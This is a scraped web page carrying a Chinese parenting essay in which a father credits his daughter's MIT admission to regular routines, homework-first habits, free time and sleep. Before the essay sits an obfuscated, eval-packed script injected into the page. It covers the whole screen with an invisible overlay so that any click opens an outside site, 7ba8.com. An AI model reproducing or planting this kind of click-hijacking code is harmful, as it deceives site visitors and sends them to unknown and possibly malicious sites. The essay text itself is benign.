<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一听到女儿在麻省理工学院读书，很多人都会问我：“您女儿肯定非常聪明吧？”当然孩子的智商并不算低，但我决不认为女儿是凭借智商高进的麻省理工学院，而是她那正确的生活习惯与规律的生活节奏起了关键作用。
生活习惯与成绩是密切相关的。正确、规律的生活习惯意味着具备了自控能力，会有效利用时间，而这两点正是获得优异成绩的必要条件。生活节奏亦影响着学习成绩。可预测的、有规律的日程可使孩子情绪稳定，而稳定的情绪有利于提高学习成绩。尤其，规律的日程安排与学习计划能培养孩子自主学习的良好习惯。
正确的生活习惯与规律的生活节奏，早在幼儿园时期，晚则在小学一年级前就要形成。错过了那个时期就有些迟了。从女儿上幼儿园开始，我们就有意培养其规律的生活习惯。每天下午回到家，女儿都要先洗手，然后坐在饭桌前吃点心。吃完点心后，无论发生什么事情，都要先去写作业。作业完成后准备第二天的学习用具，并放到玄关旁边。孩子没有写完作业及准备好用具之前，是绝对不允许出去玩儿的。也许这种习惯已根深蒂固，孩子进入小学后从未发生不写作业或因忘带学习用具而慌慌张张打电话求救的事情。
孩子的生活习惯与生活节奏是完全由父母来左右的。只有父母生活规律，孩子才能形成正确的生活节奏。我们夫妻就寝、起床及用餐的时间都比较有规律，为了不打乱孩子的生活节奏，晚上几乎不出去应酬。每天晚上都争取6点半之前回家，与孩子共进晚餐。
也许是过于重视有规律的生活的缘故，我非常反对妻子白天带孩子去购物。我认为孩子利用在公园做游戏或读书的宝贵时间跟妈妈去购物，简直就是浪费时间。也因为选择了我这种缺乏灵活性的虎郎为夫君的缘故，妻子只有周日我在家的时候才能独自出去购物，而这时我一般都会陪女儿散步或玩围棋、五子棋、卡片等。
这样，在孩子小学一二年级时抓准时机养成良好的生活规律，之后的生活孩子自己就会安排得井井有条。女儿从小学二年级开始，学习根本不用大人督促，放学回家后写作业永远摆在第一位，而且预习、复习也非常主动。从那时起，我们再也不必唠叨“学习吧，写作业吧”。
为孩子制订一天计划时需注意一点，即一定要有孩子的自由时间。所谓自由时间，并非指休息而不学习，而是与它字面的意思一样，指可以自由安排的时间。即使是一个成年人，若想完全按计划度过每一天也是很难做到的，更何况是一个孩子？一定要为孩子留出一些可以自由安排的时间，只有这样才能缓解孩子的压力。再说，时间自由才能真正锻炼孩子有效安排
时间的能力。父母不可能永远为孩子制订计划，若想充实地度过每一天，应从每天有效利用30分钟到1小时的自由时间练起。
当然，孩子对自由时间的安排很可能不合父母心意，但千万不要发牢骚，哪怕整个自由时间段里孩子一直在玩电脑。
因为这样至少在学习时间段里孩子不会再想着玩儿。但如果孩子因过度热衷于游戏而影响了下一计划的实施时，就要进行适当的惩罚，比如大量减少或干脆取消第二天的自由时间。
值得庆幸的是我女儿还算没有虚度自由时间，她作出了详细的实施计划，比如周一选择读书，周二去见朋友，周三看电视……
也许珍惜时间、做事高效已成为了一种习惯，几乎看不到女儿无聊或无所事事的样子。同样，也从未听女儿讲过因为太忙、时间太紧没做好事情。现在孩子无论是参加文化课还是多媒体活动，都能完成得很好，而且还能抽空享受帆船、游泳、单板滑雪、拉大提琴等活动的乐趣。女儿应付得了这么多项目，并不是因为她有多么非凡的能力，而是从小起就有机会学习合理地分配时间的缘故。
有件事情需要明确，那就是高效度过一天与减少正常睡眠时间是毫无关系的。一定要保证孩子充足的睡眠时间。请千万要记住减少睡眠终会影响专注力与效率。与其过度减少睡眠时间，不如有效利用清醒的每一分钟。 |
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